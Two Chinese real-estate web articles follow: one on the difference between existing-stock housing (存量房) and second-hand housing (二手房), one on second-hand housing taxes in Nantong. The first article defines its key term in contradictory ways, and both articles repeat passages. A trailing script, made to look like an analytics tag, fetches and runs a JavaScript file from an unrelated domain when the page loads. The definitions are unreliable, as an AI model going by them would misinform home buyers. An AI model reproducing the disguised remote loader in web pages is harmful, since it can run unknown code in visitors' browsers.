存量房是什么意思？存量房与二手房的区别

房地产市场一直都很火爆，但是这个行业里有各种专业的行业名词，例如存量房、二手房、增量房等等，想要买房的你了解多少呢?如果一点都不了解，那就得好好做做功课了，知道这些专有名词对于你购买房子绝对是有好处的，因为有些房产会因为一个名词的差异而有本质的区别。接下来小编就给大家介绍一下关于存量房的概念以及与二手房的之间的区别。存量房概念存量房是指已被购买或自建并取得所有权证书的房屋，相对于增量房而言。增量房是指房地产开发商投资新建造的商品房，存量房一般是指未居住过的二手房，即通常所讲的“库存待售”的房产。存量房严格意义上来讲是存量资产，存量房市场也叫做一级半市场。存量房买卖程序是由买卖双方当事人签订房屋买卖合同，合同生效后30日内向房屋所在地的房地产交易中心办理转移登记。存量房严格意义上来讲是存量资产，存量房市场也叫做一级半市场。二手房概念二手房是已经在房地产交易中心备过案、完成初始登记和总登记的、再次上市进行交易的房产。它是相对开发商手里的商品房而言，是房地产产权交易二级市场的俗称。存量房和二手房区别：存量房，是房地产公司还未销售给客户的库存新房;此房在房产局登记的是预售证;二手房是已经销售给个人或单位，在房产局登记注册并发有房产证的房源。开发商是否出售二手房是从开发商交付房屋办理完个人房产证的房屋又再次出售的房屋，存量房是开发完毕尚未出售;是否居住二手房是指之前有人居住过的房屋，存量房是指之前没有人居住过的房屋。即商品房开发完成之后无人居住过的房屋;合同签订后办理产权过户的期限不同二手房买卖过程中，在二手房房屋买卖合同签订后对办理房屋产权过户的时间没有明确的规定，存量房在签订存量房房屋买卖合同后办理产权过户的时间有30天的明确规定。以上就是小编给大家介绍的关于存量房的概念以及与二手房之间的区别。存量房简单地说就是没有住过的二手房，但是又与二手房之间有诸多区别。例如存量房不具备拿房产证的资格，而二手房可以拿到;产权过户时，存量房是有期限的，二手房是没有明确规定的。小编认为了解这些对于大家购买房子都是有很大帮助的，别到时候被人家忽悠了。

南通二手房之你需要知道的税费小知识

如果你想要购买南通二手房，那么今天这篇文章你一定要来看看了，对于每一个户主来说，买房子关乎到自己接下来几十年的生活，因此不能随意地定下手续，二手房买卖经常会遇到各种各样的问题，尤其是税费方面，因此说，你在关心南通二手房最新政策的时候，还要注意一下三个问题。首先，房屋是不是就是正常住房？在南通二手房的税收的最新政策里提到的，住房购买超过两年如果再进行出售可以免去税收，这是普通住房，也就是说，建筑的容积率超过1.0，每套的建筑面积不超过144平方米，真实价格不能超过等级别的土地市场价格的1.44倍。一旦有其中一条不符合规定，那么，就不能享受南通二手房最新的优惠政策。第二，两年的时间计算，并不是指房屋是从什么时候开始建造的，一般来说，户主购买房屋时的渠道不同，在时间上的计算也就会不一样，比如说，购买了商品房，那么房屋产权证上所标注的时间就是房屋的年龄。第三，假如你想根据买卖差额获得相应的针对南通二手房的政策福利也是有要求的，值得注意的是，售价里所去除的是指最开始购买房屋的初始价，在交易的时候，购买房屋时付出的税费不能减掉，此外，你在递交差额交税的申请时，必须要同时提交发票，一旦丢失，则不能享受优惠政策。三、想按照买卖差额来缴税是另有条件的。需要提醒的是，可以在销售价格里扣除的只是原来购置住房的原价，当初买房时支出的费用和税金可不能在本次交易环节里扣除。另外还有一点很重要，市民申请差额缴税的时候要提供购买房屋时的正式发票作为扣除凭证，如果尚未取得或者不慎遗失了，就不能扣除购买南通二手房时来差额缴税的。以上就是对你在购买南通二手房关于税费的相关知识啦，希望能对你有帮助。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();